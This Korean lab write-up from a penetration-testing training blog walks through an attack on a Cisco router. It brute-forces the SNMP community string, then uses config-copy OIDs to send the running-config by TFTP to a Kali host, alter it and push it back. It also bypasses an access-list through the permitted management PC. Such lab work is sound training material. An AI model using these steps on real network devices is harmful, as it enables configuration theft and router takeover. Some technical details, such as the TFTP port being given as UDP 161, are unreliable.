보안 교육 실습/Kali-모의침투

Kali - 라우터 Confing파일 조작 (SNMP, SNMP 우회, TFTP, Nmap, Dictionary attck)

Hoon`ss 2022. 3. 31. 01:08

SNMP의 기능

네트워크 구성 관리 : 네트워크상의 시스템들의 구조를 파악할 수 있다.

성능 관리 : 각 네트워크 세그먼트간 네트워크 사용량,에러,처리속도,응답시간등 성능 분석이 필요한 통계정보를 얻을 수 있다.

장비 관리 : 네트워크 정보 뿐만 아니라 시스템에 관한 정보까지 제공

SNMP 취약점 

SNMP agent의 입장에서는 Master를 확인할 수 있는 방법이다 없다.

 

Topology

Agent가 Management를 확인할 수 없다는 취약점을 이용하여 Kali가 Management PC를 통해 GW router 에 정보를 뺴오는 공격을 한다.

 

GW - SNMP-Server open

SNMP Agent인 GW router 에서 cisco라는 비밀번호로 SNMP를 활성화 시켰다.

 

Kali - tftpd-hpa 

아무런 정책이 설정이 안되어 있는 GW router 에게 tftp를 받아오기 위해 Kali에서 tftp설정을 해준다.

TFTP_DIRECTORY - 받아온 파일이 저장되는 경로

TFTP_ADDRESS - 전체 아이피에서 포트 69번으로 오는걸 전부 허용

 

Kali - tftp-hpa Start

Kali에서 tftp를 활성화해준다.

 

Kali - service --status-all

tftp가 활성화 되어 있는지 확인한다. grep + 명령어를 같이 써 활성화 돼 있는것만 확인할 수 있다.

 

Kali - nmap

nmap을 통해 라우터에 tftp 포트가 열렸는지 확인한다

tftp 포트번호 - udp 161

nmap -sU -p [포트번호] [대역대 or 특정 IP]

nmap 옵션

-sU - UDP 스캔

-p -포트지정

 

Kali - onesixtyone (사전 대입 공격)

SNMP에 Community String값을 알아내기 위해

onesixtyone -c 를 이용해 dict.txt(벤더사 별로 비밀번호들이 사전파일로 되어 있음)를 대입해 community 값을 확인한다.

Community 값 = cisco

 

Kali - OID 생성

SNMP 메세지는 OID로 메세지를 전달하기 때문에 OID를 적어서 라우터에게 보내기 위해 파일을 만듭니다.

BT 에 간편한 툴이 있지만 수동으로 만들어봤습니다

OID 명령어 옵션

-v : 상세 보기

2c : 해당 SNMP의 버전

-c : Community String을 지정

 

$N i [] 옵션 설명

 

- 1.3.6.1.4.1.9.9.96.1.1.1.1.2 ==> oid ccCopyProtocol $N i 1

라우터 환경 설정 파일을 up/downprotocol 지정

tftp 1 / ftp 2 / rcp 3 / scp 4 /.....

 

- 1.3.6.1.4.1.9.9.96.1.1.1.1.3 --> oid ccCopySrouceFileType $N i 4

라우터에서 tftp를 통해 내려받을 환경설정파일 타입

networkfile 1 / isofile 2 / startupconfig 3/ running config 4 / terminal 5 ......

 

- 1.3.6.1.4.1.9.9.96.1.1.1.1.4 --> oid ccCopyDestinationFileType $N i 1

다운로드 받는 측에서 tftp가 설치된 서버쪽, 받아오는 환경설정파일의 type 이 어떤 것인지 정의

running-config의 텍스트 내용을 [router.run]

networkfile 1 / isofile 2 / startupconfig 3/ running config 4 / terminal 5 ......

 

- 1.3.6.1.4.1.9.9.96.1.1.1.1.5 $N a 1.1.1.1

a - Address

받을 PC(Kali)의 IP

 

- 1.1.1.254 1.3.6.1.4.1.9.9.96.1.1.1.1.6 $N s run$N-config

저장 파일 이름

 

- sleep 5

빠르게 진행되다보면 서버에서 막아버리기 때문에 잠시 정지를 한다.

 

- 1.1.1.254 1.3.6.1.4.1.9.9.96.1.1.1.1.10 $N

잘 수행되었는지 확이하는 object 성공하면 3 / 실패 4 // 1,2 느리게 수행되고 있다

 

 

Kali - snmp_OID (파일 받기)

만든 파일을 실행하면 "run10-config'라는 이름과 마지막 실행되었는지 확인하는 명령어에 3이 적혀저 나왔다

3 - 성공

 

Kali - tftp 파일 확인

처음에 지정해준 경로로 파일을 확인해보면 파일이 생성된걸 볼 수 있다.

내용을 확인해보니 GW router 의 running-config를 확인할 수 있었다.

 

Kali - 파일 수정

테스트를 위해 GW router 에  config파일을 복사하여 hostname을 수정하여 저장했다.

 

Kali -SNMP_OID (파일 보내기)

수정된 파일을 보내기 위해 Upload를 위한 OID 파일을 생성하고 실행했다.

 

GW - tftp

GW router 에 CLI를 확인해보면 1.1.1.1의 의해 tftp 파일이와서 config가 바뀐걸 확인할 수 있다.

확인이 쉽게 hostname을 바꿨기 때문에 hostname이 TEST-TEST로 바뀌었다.

 

GW - access-list

지금까지는 아무런 정책이 없었기 때문에 쉽게 SNMP를 통해 GW router 에 config 파일을 받고 올릴 수 있어

Management 만 접속이 가능하게 access-list를 설정해줬다.

이번에는 Management로 우회를해서 config 파일을 받아오도록 한다.

(실습이기 때문에 Management 의 IP를 알고 있다는 가정하에 실습을 진행하였다.)

 

Kali - SNMP_OID 

access-list로 1.1.1.100 IP만 허용해줬을때 다시 실행하면 4번이 뜨면서 실패했다고 나온다.

 

Kali - copy-router-config.pl

Managent PC에는 tftp 서비스가 열려 있어야한다.

라우터 설정해 Management PC만 허용되어 있기 때문에 XP를 통해 공격을 진행한다.

copy-router-config.pl 툴을 이용해 1.1.1.100 PC에 config 파일을 받아온다.

pwnd-router.config라는 이름으로 저장되어 받았다고 확인할 수 있다.

 

Managent PC - tftp

Management PC의 tftp 파일을 확인해보면 GW router 에 config가 온걸 확인할 수 있다.

 

Kali - 1.1.1.100 tftp 접속 (다운)

공격자 PC로 Managment PC로 tftp 접속을 하여 해당 파일을 다운 받는다.

 

Kali - 파일 수정

테스트를 위해 다운받은 파일의 hostname을 변경한다

 

Kali - 1.1.1.100 tftp 접속 (업로드)

수정한 파일을 다시 1.1.1.100인 Managment PC에게 tftp로 업로드한다.

 

Kali - merge-router-config.pl

merge-router-config.pl 툴을 이용해 1.1.1.100으로 보낸 수정된 파일을 GW router에게 보낸다.

 

GW - tftp

GW router 에 CLI를 보면 Managment로 허용된 1.1.1.100 IP에서 tftp가 왔다고 볼 수 있다.

수정된 config파일을 받았기 때문에 hostname이 변경된것도 확인할 수 있다.